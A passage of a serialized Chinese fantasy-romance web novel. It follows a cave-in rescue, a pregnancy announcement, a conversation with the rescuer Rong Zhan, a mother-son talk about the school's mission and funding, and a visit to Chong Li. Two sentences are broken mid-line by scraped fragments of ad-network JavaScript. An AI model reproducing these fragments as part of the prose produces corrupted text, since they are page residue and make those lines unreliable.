可不知为何,今日飞近万仞山眼皮跳得厉害,指上护戒红光激越,风宿恒直接落在镇上自家私院,变回阿畅,开门就往山上跑。 山门前守卫恭敬行礼,口称“畅爷”。 除颜心、聂灵鸢和袁博,至今山上无人知晓这位宫主手下的“畅爷”,就是今朝大容王! 风宿恒一上山就觉得不对劲,开物顶一切如常,书声朗朗,各处守卫却比平时少了几分。他一路至山北,下到三峰溪,就见子石洞边人声鼎沸。 “洞中塌方,两位宫主埋在下面了。” 抓人问清缘由,风宿恒脑中嗡响,下到洞中,开凿声不绝于耳,栖凡心和聂灵鸢神情惶急,都在带头挖塌方的山石。 聂灵鸢见风宿恒,边挖边禀明情况:“快挖通了,再加把劲。” 他们手脚很快,一发现出事,聂灵鸢立刻调守卫来挖,原本快挖通的,怎奈又塌方一次,才耽误到现在。 风宿恒和栖凡心对视一眼,父子俩二话不说奋力动手,山上法术无法施展,全靠蛮力,他们不比守兵多多少优势,但埋在里面的是他们心头至爱,下手自然多了不要命的狠厉。 通道狭窄,聂灵鸢被风宿恒替下,对洞内大喊:“宫主!宫主!听得到吗?答一声!” 可无论她怎么叫,洞中没有一点回音。 明明很接近,但洞中就是没有一点声音。 心头闪过不祥的预感,栖凡心看风宿恒一眼,黯淡的火光里,他双眼赤红,手里锄头抡到飞起,等不及旁人帮忙抹开砸下的碎石,他自己用手抹,石缘划过手掌,在大石上留下血痕,可风宿恒像感知不到痛拼命挖。 “栖真!栖真!” “挖通了!快快!” 通道终于破开,火把一扫,栖凡心见洞内景象,浑身发软,可他爹爹先他一步跨进洞中,与人合力,将压迫的巨石推开,小心翼翼翻过压在石下紧紧抱着失去意识的两个人。 昏黄火光下,两人浑身浴血,地上血渍淌了一地,风宿恒拉过栖凡心:“带容绽下山,用疗愈术,快!” “我娘……” 风宿恒探过鼻息,最快速度道:“还活着,没外伤,我叫人来看。”说着抱起栖真往外走。 风宿恒两句话就让凡心镇定下来,在聂灵鸢帮助下背起鲜血淋漓的容绽出洞,聂灵鸢脱了袍子罩在容绽身上,生怕惨状吓坏旁人。 栖凡心疾驰下山,疗愈术一起,为容绽治伤。 聂灵鸢见容绽没有进的气,双腿断成几截,可见白骨,一身白衣更是脏污不堪,无半分谪仙般的模样。可这样的容绽,在聂灵鸢眼中胜过谪仙,让她恨不得拜上一拜。 看适才洞中情形,料想千钧一发间是容绽将栖真牢牢护在身下。若被巨石砸中的是栖真,即便挖出来也无法下山疗愈,今日就要出大事! 想到这里聂灵鸢阵阵后怕,后领都被冷汗打湿。 在驼暮山修炼数年,疗愈术和炙臻大法已至化境,小包子一面为容绽治疗,一面潜心祷告。 容叔叔,我小时候你用法术救我一回,今日多谢你舍身护我母亲,我也一定会把你救回来! 如今的万仞山不是籍籍无名之地,见有人浴血从山上下,山底下的人纷纷围看,聂灵鸢赶紧指挥山门守卫将人赶开,将现场围起不让窥看。 过了盏茶功夫,小包子终于收起疗愈术,抹把汗:“好了。” 聂灵鸢让人备担架,将容绽盖严实抬上山,送回长风谷内居所。人虽救回,失血过多,一时半会儿醒不来,后面还要好好静养。 两位宫主都倒下,还是万仞山头一遭。聂灵鸢封锁消息,不让学员乱传,又安抚刚下课得知消息、着急忙慌赶来的万叶飞和慕容烟月,把近日两位宫主的课全部调换,还不忘飞鸽传书告知柳絮回、山遥和英迈,当然这些都是后话。 栖真醒来时耳边尽是凡心声音,紧紧拉着她不撒手,风宿恒提着后领把人拨开:“别压着你娘。” 栖真看向床边的风宿恒,目中急切,未开口便听风宿恒道:“容绽没事,救回来了,现在清心居。” 栖真这才松口气,她和容绽在洞中说着说着就觉呼吸沉滞,大概洞中空气稀薄,她何时昏过去都不知,如今大难不死双双脱险,也算造化。 见到凡心自然高兴,栖真细细看他,眉眼越发英挺成熟,肩宽腿长,全数是风宿恒的翻版,拍拍他脑瓜道:“大孩子了。” 栖凡心将栖真的手贴到颊边,惊魂未定道:“不是孩子了。” “楚盟跟你一起回来的?” “没。”栖凡心道:“他能说话就走了,她要去找自己母族。” 提起楚盟,小伙子脸上闪过失落,但他掩饰得很好,眨眼功夫再寻不到。 可知子莫若母,栖真还是安慰般抚了抚他的脸。 风宿恒:“你娘身上还有伤,让颜心带你去安顿,明日再给你洗尘。” 栖凡心再不情愿也不敢忤逆他父皇,一步三回头地走了。紫鹿还在门外候着,颜心带两人去院中安顿。如今新落成的花千树占地比以前大得多,院墙一围自从天地,十二间房三大院落,小包子和紫鹿的住处早已打扫干净。 风宿恒站在床边和栖真对视。 栖真虚弱地笑,抬手想去握他。 “就是个意外。”她轻声道。 风宿恒没接手,转身出去吩咐,将前来探视的全部拦住,一切明日再说,这才回身将鱼龙舞房门关好,抱栖真去净房洗漱。 万仞山和药王谷长期来往,每年药王谷都会派座下弟子来山授课,并借用实验坊开研新药。风宿恒当年倡议此举纯为栖真考虑,定要山上备着良医以防不时之需。 适才药王谷的人来看过,帮她手臂和腿上擦伤处涂了药,包扎妥当,此刻风宿恒万分小心,避开伤处帮她洗净才抱回床。 这些事他做来驾轻就熟,而栖真也早没了过去的不自在。弄完一切,风宿恒最快速度把自己洗净,裸着上身,穿了条亵裤出净房。 “手上有伤,你先下山治一治吧。”今日遭罪,栖真靠在床头浑身乏力,却看不得风宿恒取来药箱,只把自己掌上伤口一裹了事。 风宿恒放好药箱:“不碍事,明日下山治。” 他躺下把头埋在栖真腹间,健壮的双臂环上她的腰,深深叹气,好像直到此时才神魂归位。 栖真抚摸他背,一下又一下,状似安慰。今日这出把人吓得不轻,想开玩笑缓和下气氛:“把你儿子赶走,你好自己抱啊?” 风宿恒不说话,只管静静抱她。 到底怎样才能护她周全?栖真说这就是一个意外,三年前她也这么说!每次出事都是意外!可他真地承受不住她一次次“出意外”。 治理国家得心应手,处理朝堂也难不倒他,唯有让栖真平平安安待在他身边这事总不那么如愿,时不时脱离掌控,让他患得患失。 “以后别去洞里了。”风宿恒声音闷然道。 栖真在他鬓边亲了一口:“再不去了。” 风宿恒瞅她:“又哄我。” 栖真呵呵:“又不是栖凡心,哄你做什么?” 风宿恒把她撸背的手抓下来放回床上,她手还包着呢,疼的,“说到就要做到。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 栖真觉得好笑:“肯定做到啊。” 风宿恒隔着单薄的襦裙亲她肚皮:“以孩子名义发誓。” “……孩子?” 栖真不明白。 风宿恒终于自腹间抬头,英挺的眉眼笑得弯弯:“你又要做母亲了。” 栖真彻底呆了,啊一声,看看他,又看看肚子,失声道:“什么?” 风宿恒高兴,再次给她确认:“药王谷的人刚给你诊脉,一个月都不到,但不会诊错。” 栖真张着口不知说什么好,半晌泪如雨下,喃喃道:“我有了?” 三年了,照他们洞房的频率,怎么也该生三胎了,却一直没动静。风宿恒就不承认当初她被人暴打伤身,只说早晚会有,让她不要灰心。久而久之栖真不再问,心里却疙瘩,被钝刀磨。 说没压力是假的,她的夫君不是平头百姓——一年前风宿恒上承乾坛重新夺回了太子位——早晚有一舔,他不仅是大容王,还将是辛丰王。纵使风宿恒不说,她也明白子嗣对一个王来说何等重要。 她不想风宿恒将来既要面临不娶的压力,子嗣问题上还过不去。 和观念开战,远比动刀动枪的实战更残酷,风宿恒地位越高,越会成为众矢之的。 所以三年里他问了无数遍什么时候可以婚礼,她都各种拖各种哄,以山上事忙搪塞。问得急了,只好搬出当初风宿恒自己说的,等她怀上就成婚。 没想到,真有了…… 风宿恒为她拭泪,柔声道:“早说过一定会有,现下可以光明正大嫁我了吗?” 之前不想栖真知道自己无法生育,出事后他从没在她面前表现过一点焦虑,默默担了所有压力。三年来偷偷给她进补,哄着喂药,抱着药浴,终于把身体调理过来,这一刻风宿恒也是展眉,默默长叹,满心感怀。 太不容易了! 取得伙伴的谅解,如今又有孩子,似乎再没什么可以阻碍他们的婚礼。泪水落得凶,栖真拼命点头:“好,成婚!” “以前我对容绽心有芥蒂,今日我真心谢他。”风宿恒叹道:“他护住的不仅是你,还有我们的孩子。” 栖真将洞中对话告知,也叹道:“在他身上,我真正见识到何为向善之邦。” 喜悦遮掩不住,浸染眉梢,两人抱在一处久久不分。两桩心事放下,修成正果,栖真乐得跟风宿恒互怼:“当初谁说辛丰皇族极易让女子受孕,唬得我一愣愣,根本不好使嘛!” 风宿恒捏她脸颊,三年里捏了无数次,早捏上瘾:“当初谁买回我的绣像画,看到书里说我断袖,结果一晚上没睡着?” “疼疼疼……”栖真救回脸,笑道:“等我们成了婚,看外面还有谁说你断袖!” “能生一个,就能生两个、三个……”风宿恒把人放倒床上亲吻:“这辈子断你身上了。” 栖真推开他,探手撩了他一下:“断什么,更着呢。” 风宿恒直起身:“儿子看着,教坏了。” 栖真撅嘴:“一定是儿子?女儿不行吗?” 风宿恒摸她肚皮,贴耳听:“儿子有一个,小公主更好,爹娘大哥都疼爱。” 栖真弹他脑瓜:“一个月都不到,听不到。” 不管听不听得到,风宿恒有为人父的喜悦,一口气道:“你这几日把伤养好,三个月内别蹦蹦跳跳,别举重物,那个瑜伽也别做了,沐浴我帮你,课程必须减半,实验坊别去了,烧窖又热又熏更不许进,不许写书到三更,每日太阳下山就上床。明日我去药王谷找个专研妊娠的弟子来照看你,总而言之你好好养着,算我求你,别任性,别搞事。至于婚礼你一百样不用管,我都弄好,你到时去拜个堂就行。” 他每说一项,栖真就点下头,最后忍不住笑出来:“你就说一条,让我天天躺床上,什么都别做得了。” 风宿恒道:“那你肯定又说我在拉仇恨,又说是愚蠢的掌控。” 栖真差点笑出泪来,在风宿恒脸上亲了又亲:“我的好夫君,真可爱。” 风宿恒心间一默,可爱……? 男人傻笑两声,搓着手道:“一条条我得写下来贴在床头,你每日看一眼。”说罢真作势要下床去。 栖真拉住他:“别煞风景,明日再写,也别那么紧张,生孩子这事我又不是头一次,有经验的。” 风宿恒被她拉躺下,看着栖真的眼满满爱意,浓稠地化不开,就这样看半晌,拉过她的手,一根指一根指亲过去:“这次,终于不是打针了。” 栖真详说过当初如何人工受孕,长长尖针一次次深入体内,她忍着挨着,只为一份执念。如今一切自然而然——自然而然相爱,自然而然受孕。他给予她女人天生该享的成就和喜悦,让她此生无憾。 “这次月子好好做,我陪你。” “也不用天天陪,相看两厌啊。” “认真说,你看厌了?” “那倒没有,这张脸,啧啧,我家夫君最帅!” “就看脸?” “还看……” 大容帝后对外一言九鼎,叱咤风云,关起门来就是一对热恋小夫妻,相看两不厌,亲亲抱抱腻歪到天黑。 210. 第 210 章 翌日,栖真去清心居看望容绽。 花千树沿用旧名,建在长风谷纵轴上,至少是过去的六倍大。出门是连通荷花池的栈桥,栈桥尽头,两边是对造的飞檐水榭,仍取名“聚义堂”,是谷中公地,供众人谈天说地聚餐用。 下了栈桥左手一条回廊,连通错角排开的五间大院,分别是柳絮回、聂灵鸢、董未、栾氏兄弟和钟情的居所。右边回廊也连着五所,容绽、万叶飞、慕容烟月、山遥和英迈各占一院。 每片院落自成一体又比邻而居,虽然现下只有容绽、慕容和万叶飞常住山上,其他人不常回,但居所都给他们留着,回来就有地方住。 容绽所住的清心居灰墙茅竹,黑瓦勾栏,风格最寡淡,在长风谷或精巧或气派的院落中,多少显出主人的不上心来。 平日辰时过半容绽早立于教堂,今日被替了课,一早坐在藤架下,说是喝茶,实着发呆。 阑珊把栖真引进院门时容绽回神,起身见礼。阑珊奉了茶,留两人在院中说话。 栖真瞧容绽脸上少血色,眼下发青,看来昨日救回后休息得并不好,玩笑道:“昨日终于肯叫我一声大名,今日又那么客气,我到各家窜门子,唯独到你这儿全是礼数。” 容绽不搭这茬,只是关切道:“宫主可有大伤?” 什么伤比得过他受的?栖真道:“不碍事,一些擦伤,这次多谢你。” “万仞山未来系于宫主,昨日换谁在场都会护你。”容绽淡淡道。 栖真喝了口茶,这是三年里第一次喝到容绽院中茶。得风宿恒所教,如今她对中土各地茶叶拿捏精准,一喝便知这茶不过次等。 容绽出身贵胄,不会不懂茶,此茶应该是份例单子上的,栖真知道容绽忙,无暇打点生活,大概山上送什么就收什么。 不由暗暗记下,稍后要让聂灵鸢想个名目多往这边送些精品才好,置杯道:“昨日说过,活着出来,我就把另一半真相说与你听。” 容绽垂眉,嗯了一声,有些意兴阑珊。 栖真瞧他片刻,笑问:“怎么感觉你不太想听呢?” 容绽面上透着隐隐无奈:“没有不想听。” 三年前坦白过一次,那时以为容绽会彻底反目,和她老死不相往来,没成想他竟然回来了,为此栖真发自内心感激。 她以为容绽的回归是因为彻底断了对沈兰珍的念想,放下复仇和情爱的执念,奔着万仞山的未来才留下。可三年里容绽的疏离是为的什么,铜墙铁壁下偶尔流露的一两分心思又为的什么? 三年时光,栖真纵使迟钝,也多少感觉出来。 她很震惊,没想到容绽情深至此,竟从未放下,也很迷茫——他喜欢的明明是沈兰珍,为何知道换人,还能将这份感情延续下去? 栖真怕自己想错,又没法开口求证,更无法和风宿恒讨论,有时面对容绽也不知怎么办好。 敬他,谢他,却不能回应,更不忍见他抱着注定无果的残念蹉跎下去。 昨日洞中怕容绽挺不过去才情急脱口,说只要他们活着出去就把真相告知,可事实上即便没有这起事故,栖真都在寻思,是否该将她和风宿恒的关系和他说一说? 借最快的刀,斩一斩这乱麻。 栖真看着今日又铠甲上身的容绽,再无隐瞒,将风宿恒当年舍身伺鼎,聚她神识,之后又伴她在山四年的事一五一十全数坦白,最终道:“宿恒待我情深义重,当年他之所以执意谋取大容也是为了寻我……这就是真相。” 容绽全程静听,久久无言。 两人对坐,院外蝉鸣都搅不动院中凝滞气氛,亏得容绽“看不见”,否则相顾无言也是尴尬。如今这样,栖真反能细品对方表情又不显突兀。 可容绽面上真没什么表情,至少不足以让人揣测出他此刻真实想法。 就在栖真以为容绽打定主意不置一词时,就听他道:“尽快成婚吧。” “什么?” “我说,你们尽快成婚吧。” 栖真微讶。 想过对方知晓真相后可能有的反应,也以为要做些解释,没想到这男人这么干脆。 她以为自己面对的是“难题”,容绽却以自身态度证明——不是难题,我从来不是你的难题! 栖真有一瞬间的愣忡,刹那又觉轻松,下一刻更有微腩浮上心头。她觉得应该是自己想错,容绽对她只是同袍之谊,并非男女情爱。 这样便好! 这样很好! 栖真轻吁口气,笑着应道:“行!” 阑珊从房中出来,栖宫主不知何时已经走了,只有男人独坐园中的背影。上去收茶见其面容,阑珊暗暗吃惊,期期艾艾叫一声:“主子。” 容绽木知木觉,失了魂似的,阑珊连叫两声,才见他转头。 不敢提醒,阑珊盯着他面上一滴清泪,又看向院门方向,心下无限唏嘘。 一路看来,阑珊多少猜到自己主子心思。 背负愧疚,自我放逐,只为守护那份真挚的感情;默默相伴,不求回报,只为心头从未放下的执念;退居一隅,不怨不忧,只为不给对方麻烦和困扰——他和栖宫主半师半友半知己,半慕半尊半倾心,已经全然说不清。 唉,他家主子真是世上最面冷、最心善、也最执着的人。 如一意孤行的鹤,岸芷汀兰,海枯石烂。 可这就是容绽! ………… 傍晚在花千树给栖凡心洗尘,一顿饭全是他爱吃的。饭后袁博送来公务,和风宿恒一头扎进书房。此时天色已暗,暑气渐消,栖真带栖凡心四处逛,看长风谷、实验坊和工坊。 路上遇到追在三岁的慕容幸身后遛弯的慕容烟月、刚从实验坊出来热得浑身淌汗的万叶飞、抱着一堆礼盒有事回山的山遥……招呼时,都在问栖真身侧这玉树临风的小哥是谁。 栖真只说是风宿恒长子,在众人脸上收获各种惊讶。 栖凡心对栖真介绍的人一一见礼,恭敬有加,走远后悄声问:“他们看到我为何那么惊讶?” 栖真道:“我和你爹爹还未公开,宿恒每次以大容王身份来山都是巡视,所以大家以为我和他顶多公事关系,忽然见我和大容王长子走在一起,当然惊讶啊。” 栖凡心嘴角一抽:“你俩够可以的,次子都要出来了,还公事关系。” 栖真拍他后背,浑不在意道:“行了,别吐槽我了。吃饭时你爹不都说了一个月后大婚,到时候大容王长子就是我长子,一样的啦!” “哪里一样?”栖凡心没好气地嘀咕:“亲妈变后妈。” 母子俩四年没见,有说不完的话,四年里风宿恒没少传信,但到底不比此时亲耳听对方诉说来得亲切。 两人逛到开物顶,学生已下山,山顶没了白日喧嚣,只有几间教室还在上课,全是成人师训。 凡心在窗外听了一会儿才和栖真继续走:“听说在山上留任的几位老师也很给力?” 栖真:“对万仞山来说教孩子还是其次,把老师们教出来才重要。有了更多优秀的师资才能去大容各地开堂授课,可师训要求高多了,光是阿绽、阿月、叶飞、山遥和我哪够啊,所以两年前我们就开始着手培养一批合格的助教,慢慢磨,再从中选拔好的聘为万仞山讲师,这样我们才能轻松些。” 栖凡心问:“这些讲师和助教也住山上吗?长风谷?” “宿恒不同意,他不想山上人员冗杂,所以讲师受聘于山,平时都住镇上,反正我们在山下不缺房,食宿都给安排好的。” “听爹爹说我们培养出来的夫子,无论去各地可能斋任教还是留山,收入都很高。” “那必须的!私塾先生每月能赚几十两封顶了,我们派出去的老师一签就是五年约,都是百两月薪起步。” “一百个老师,万仞山一个月就要投出去一万两?”栖凡心嚯了一声:“驼暮山五年都用不了一万两。” 两人沿着大校场绕圈,这里是给学生平时活动的场地,此刻没人逗留。 栖真笑着摇头:“远远不止,各地的可能斋都是我们负责修建,孩子们的课本和学习用的文房四宝都是我们提供,再加奖学金,老师回山述职和培训的车马费,林林总总加起来万仞山每月至少花出去七万两白银,这还是现在全国只有二十一家可能斋的情况下。未来五年,可能斋至少拓展百家,那才叫花钱如流水。” 栖凡心跳起来去够篮球架上的篮筐,轻松连抓两次:“凭每个学生半年才收几两学费,本都捞不回吧?当然,我知道你也没想从教育上赚钱。” 对十七岁的儿子身高不能更满意,栖真越看越窝心:“给国家培养高精尖人才,把科技经济拉起来,大容就是大大赚到,万仞山这些投入又算什么呢。” 道理凡心懂,但就想和他妈辩辩:“又不是爹爹从国库给山上拨银子。” “国库的银子得留着做大事,万仞山自有万仞山的赚钱模式。你那些叔叔伯伯阿姨们一个比一个会赚。万仞山在餐饮、工业、房地产、外贸、零售、文化产业上的投资和运作,足以让我们应付这笔教育上的开销。” 说起这个栖凡心确实有些疑问:“我知道他们每人负责一摊事,有的还不止一摊,他们赚了钱要给万仞山分成,可是妈妈,你不怕他们贪心,哪天自立门户,不管万仞山了吗?” 栖真笑出声:“小朋友还知道担心这个?” 小包子虎脸:“谁是小朋友。” “好好,大朋友!”栖真拍他肩:“不会的,你想多了。” 小包子不服:“他们是前朝人,和爹爹毕竟不是一个阵营。” 两人到校场边的大平台站定。这处平台为当年特意新建,从山巅延伸出去,能看到山下开悟镇的熙熙攘攘及之后大片广袤的荒野戈壁。 栖真靠着石栏,返身对凡心道:“这样说吧,今天但凡换批人,我都没法拍胸脯保证合作一定没问题,但你柳姨他们不一样。他们有太多普通人没有的东西。” 栖凡心挑眉,愿闻其详。 “哎你这表情,将来不知迷倒多少小姑娘!”栖真兴奋道:“跟你爹简直一摸一样。” “妈!”栖凡心哀叹:“以前你心里只有我,现在你心里只有爹爹,夸我都要带上他。” 栖真耸肩:“没办法,谁叫你爹把你妈迷得五迷三道。” 栖凡心翻白眼,也笑出来:“说正题,正题!” 栖真一时止不住笑,半晌才转首看向无垠的大荒流,解释道:“絮回她们出身贵胄,一朝打入低谷,流浪五年什么苦没吃过,人生大起大落尝遍,自然更珍惜当下,刻苦和勤奋都被催逼出来,创业是实现他们人生价值的修炼。” “他们从小锦衣玉食,对财富本身并无多少贪恋,他们更享受的是在财富积累的同时有并肩而战的伙伴,带领他们感受将设想一一实现的快感。” “他们和你爹爹确实不在一个阵营,但他们曾经也是这个国家的治理者,对百姓肩负责任。如今他们每天都在创造就业机会,带普通人走上发家致富的道路,完善国家紧缺的工业流程和商业版图。而我们一开始就达成一致的是,他们在商业上的盈利就是要通过可能宫反哺在大容基础教育上。所以外人看来万仞山可能宫是个教育机构,其实它是一个隐形的调节器,担负着社会财富再分配、释放阶层跃迁机会的重任。” “可能宫出去的每一个人,絮回、阿绽、阿瑶、英迈……对我说的这些使命都了然于胸,对自己的定位和目标都有清晰的认识!你问他们会不会有朝一日只想独揽财富,一家坐大?我想不会!因为万仞山不是一个利益团体,而是一个肩负使命的团队。只要最高的使命不变,这个团队就散不了,只有在这里,他们才能如当年我起‘可能宫’之名一样实现真正想要的‘可能’——既能实现自我价值,积累财富,又能为这个国家的快速发展尽一份心力。” 山风拂面吹动发丝,山下万家灯火映照出栖真眸中盛载的江山,她侃侃而谈时的从容也完全载得动茫茫荒野后几十万布衣黔首的命运。 栖凡心目不转睛看她,被吸引住了,即便很多年后他都记得这一幕在心中永不消融的感觉。 他感叹一声:“你变化好大呀!没想到短短四年,你不仅在这个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 世界站稳脚跟,脱胎换骨,带人干了那么多事。爹爹娶到你真是他几辈子的福气。” “说倒了。”栖真理了理吹乱的鬓发:“是我不知烧了几辈子高香,才能得他一个。” “好了好了,狗粮撒起来没完了。”栖凡心笑着吐舌:“我要吃醋啦。” “臭小子。”栖真给他暴栗:“哪里学来撒狗粮这个词?” 栖凡心抚着脑门装委屈:“我过去学得太少,吃亏,现在才发觉差异就是优势。” 这话里有话,栖真带他往回走,听他细说。 栖凡心:“记得以前,你还羡慕我在中土适应得比你快,什么二代移民就是比一代移民有优势,可我现在觉得不是这样。你懂的比我多,可以利用认知差异在中土创业,我虽然在这边更加融入,但我来的时候还小,现代知识没学多少,半吊子的什么都做不了。” 栖真笑:“没有人是什么都做不了的,没找到方向而已。” 栖凡心仰视天上初露的黯淡星子,脸上有年轻人特有的迷茫:“你不在的五年,我心心念念就是等你回来;上驼暮山的四年里,我每日想的是帮楚盟治好嗓子,现在这些都达成了,我就有点不知自己该做什么了。想想小时候你还跟我说要好好读书,将来考个好大学,做出一番成就,可现在我爹爹是大容王,我妈妈是可能宫宫主,我好像再怎么蹦跶都不可能超过你们的成就,忽然就觉得自己……”挠了挠头:“无所适从。” 栖真问:“对继承皇位没兴趣?” “也不是,爹爹列的成长计划我一直记着。”栖凡心道:“但我觉得……那不是我自己挣来的。” 栖真一时笑得收不住。 小包子摸摸鼻子,讪讪道:“笑得那么欢,几个意思?” “小乖崽长大了。”栖真这才轻咳一声道:“迷茫不是坏事,当初我也迷茫,觉得在陌生世界带你安身立命好难啊!如今回头看,那时的迷茫反倒是一种动力。” “以前宿恒拿灯火和太阳做比,希望我借他势做太阳,这样从豆灯到太阳间的距离都能成为我选择的余地。如今不敢说我成为了那个太阳,但保你衣食无忧总没问题,所以你有足够时间去探寻自己的路。能为你做到这点我已经很开心,可是凡心,我能为你做到的也只有这一点。一个人能做什么,想做什么,别人说的不算,答案得你自己去寻。” 走下开物顶,回到三峰溪,栖真给他介绍完子石洞,才接前话:“你爹爹正当壮年,大可再做二三十年的王。后面我们也会有孩子,并不是说继承皇位这事就压在你一人身上。你的选择很广,不用和我们比,更不要将我们的高度作为衡量你人生成败的准绳。当个农民、开宗立派、或当一个王都行……出去闯闯,去找自己的机缘吧。” 他们在三峰溪边说话,看着对面不时有人从子石洞进出,路过这边的都停下脚步行礼,栖真微笑点头。 很想拍拍凡心脑袋,像长辈给予人生建议时那样,但周围人来人往,只得作罢,带他继续往长风谷去:“想做什么是你自由,咱俩本来就不是这个世界的人,既然来了,就为中土做点事,也不枉我们这番奇遇,你说呢?” 栖凡心若有所思。 回到花千树,上阶前他对着推门的栖真问了一句:“妈妈,你现在幸福吗?” 栖真像听到什么好笑的话,侧首看眼天上亮堂的满月,转身笑道:“圆满。” 栖凡心随她入门,见风宿恒从书房迎出来,揽着栖真回房去,不由自嘲一哂。 什么傻问题?一个人是否幸福,从透着春色的眼角眉梢不是一眼能看出来吗? 他妈这状态还不叫幸福,那幸福又是什么呢? ………… 栖凡心在花千树住了三日,没见他爹离开他娘一步,害他心里犯嘀咕,当王的都这么闲? 当王的当然不可能闲,风宿恒实则忙里偷闲,拖到万不得已才掐着上朝的日子离开。 凡心一听他要回朝,头天晚上便说跟他一起回万丈城看看,恰巧隔日是栖真去见重离的日子,风宿恒打算早上送她去开物顶,再和凡心一起御剑回万丈城。 这日天蒙蒙亮就有雷声,栖真惊醒,躺在床上听外边动静。 风宿恒尚有睡意,手穿后颈捞她入怀:“……下雨了。” 万仞山难得甘霖,此时雷声轰隆,栖真窝在风宿恒颈间,呼吸擦在他皮肤上。 过会儿风宿恒声音清醒些:“不睡了?” 栖真唇贴上他温热的颈,风宿恒侧头亲她额发,终于睁眼,见栖真睁着一双水灵的眼精神地看他。 “怎么了?” 栖真把脸贴上他胸口,摇了摇头。 风宿恒拍她肩背,哄小孩儿入睡般呢喃:“还早……再睡会儿。” 片刻,听着她的呼吸,风宿恒反倒醒来,翻身和她面对面,带着初醒的暗哑道:“不舒服?”说着摸她腹。 “没。” 栖真等他摸够,又在他颈上亲一口。 风宿恒捏捏她脸:“猫儿似的。” 栖真又在他脸上亲,风宿恒被她两下亲精神了:“刚怀上,做不了。” “没想啊。”栖真嘟囔。 “被你亲硬了。”风宿恒也开始叮她脖子。 “早上……不亲也硬。” “要十个月,怎么办呢?” “多住宫里,少回来吧。” “你啊。”风宿恒翻身把她拢在身下,惩罚似地吻得重。 “别留印,要见重离呢。”栖真笑着推他。 外面一声重雷,大雨唰得下来了,风宿恒不闹了,撩开纱帐靠在床头,揽她入怀,半明半晦晨光里听瓢泼雨声。 万仞山少雨,别人司空见惯的东西对栖真而言变得难得,过往下雨天只要得空她就坐在檐下看,恰逢他在身边的,就静静陪着她。 窗外雨声密集,像神灵作天作地挣脱束缚痛快一场,“前几天凡心问我幸不幸福,我觉得……”栖真贴着风宿恒的心口道:“我的生命从未有一刻像现在这般圆满。” 风宿恒吻她额头,她的圆满,何尝不是他的圆满呢。 211. 第 211 章 用完早膳雨更大,风宿恒想让人雨停再出门,栖真在门边一面系盘扣一面看雨,回头对他眨眨眼,风宿恒便不多说什么了。 一出门大雨铺天盖地,风宿恒举伞,把穿到身上的蓑衣撩开。 小包子裹着蓑衣从房里出来,栖真探头招呼。小家伙年轻,觉得臊得慌,当没见到面前一大坨,一大早的爹娘又公然撒狗粮! 栖真在风宿恒的蓑衣里捏他腰,风宿恒道声别闹,两人相视一笑,都想起些往事。 到了谷口栖真才从蓑衣里钻出来,收敛些。 开物顶有座带院落的小会客堂,名“通极堂”,当初设计时特意加的。通极堂的后院正对通往对面山峰的吊桥口,平时权当栖真在山头的休息处。照她自己话说,就是“校长办公室”。 风宿恒将人送至通极堂门口,栖真接过伞要进门,风宿恒让小包子在外面等,推门送她进去。 栖真笑声从雨幕里透出来:“这点路还要送?” 风宿恒走上正堂边的夹廊,这里有遮挡,雨声小了,拉住栖真道:“我今日就回。” 栖真不急着走,和他在狭窄的廊上面对面:“好。” “见完重离雨没停,就在这儿歇歇,雨停再回谷。” “好。” 风宿恒看向夹廊另头,雨幕后铁桥已现。自从三年前见过重离,他成了整个山头第二个能看到铁桥的人。 那是栖真去见重离的路,四年她里走过无数次,今日自然也将踏过桥去。 风宿恒想再叮嘱两句,又不知说什么,脑中徒然闪过今早栖真的话——我的生命从未有一刻像现在这般圆满,他心跳快了一些。 栖真见风宿恒分神,拉手让他附身,踮脚亲在风宿恒唇上,雨幕中唇有些凉,蹭暖才分开道:“别担心。” 人有时候就这么奇怪,在一些无关紧要的地方,一些无关紧要的瞬间就涌上表白的冲动。她以为风宿恒是担心雨天路滑才这般牵挂,但此刻看着难分难舍的爱人,她很想对他说,谢谢你这些年的陪伴和迁就。 凭风宿恒的身份和权利本不必如此亦步亦趋,但他始终陪在身后,顺着她的想法,撑着她的脊梁。 宽容而宏大。 她言过无数次爱,但甚少道谢,在难得一雨的清晨,在他多送几步的廊下,于温情脉脉的叮咛中,她怦然心动,竟想好好谢一谢他。 不过那应该是花前月下的致臻时刻,而非路边的满汉全席,等他今晚回来,她定要把谢意好好说道。 栖真心中起伏,风宿恒也低头凝视,最后还是他率先笑了笑:“早些回,我等你。” 很平常的一句关照,可说倒了!怎么看都是栖真比他先回,但她没有纠正,笑着点头,往夹廊尽头去。 很快,青伞消失在铁索桥上。 ………… 栖真陪了重离四年,除中间那些被“网开一面”养伤的日子,风雨无阻,始终遵照五日一会的约定去见他。 穿蓑衣太污染重离的“仙地儿”,栖真在洞口将伞靠在洞壁,脱下蓑衣放地上,从袖袋里掏出帕子,抹去脸上雨水举步往里走。 进屋还在抹头上的湿,脱口道:“今天雨真大,你真该出去看看。” 栖真看了圈室内,有些惊讶地对上沙发上的重离。 不怪她吃惊,这几年重离每一季都要换次居住环境,中国古典式、巴洛克式、日式、蒙古大帐……她至今没弄明白重离怎么让空间在短时间内焕然一新,反正她看到的都是成型后的“样板房”,且从不重样。 但今天此地又恢复成四年前的模样——那套一室一厅的现代房——当初就是从这套房开始,重离走上花式翻新的道路。 重离循着旧规,好整以暇地坐在沙发上,从栖真进屋,视线黏在她身上。 “恢复成现代房了?” “有始有终。” 栖真疑惑地在侧沙发上坐。 她承认在把冰山焐热一事上做得很失败,唯一的进步是近一年里,她可以通过某些神态去尝试揣摩他,重离大抵是个嘴硬傲娇型的男人,在乎和关注都藏在冷硬的外表下。 所以今日一进来,她就看出了重离的异样。 他面容冷酷,视线带着判研,细微表情收拢去,又恢复不近人情的模样。 没有寒暄。世俗的礼仪对重离从不奏效,栖真等他开口。 “你想知道未来发生什么。”重离开始今天的谈话:“我一直没跟你说。” “你总说时机未到。”栖真摊了摊手:“又不跟我说什么时机。” 重离道:“今天。” 栖真一愣,第一反应是回想今天是个什么特殊日子。 今天不是她生日,也不是她来万仞山的纪念日,除早上一场大雨,没有任何特殊之处,可她知道重离做事不能用常理来判断,因为他只遵循自己的“理”。 栖真掐起合谷,又觉得不够正式迎接对方的开场白,靠上沙发,挪了个舒服的姿势道:“洗耳恭听。” 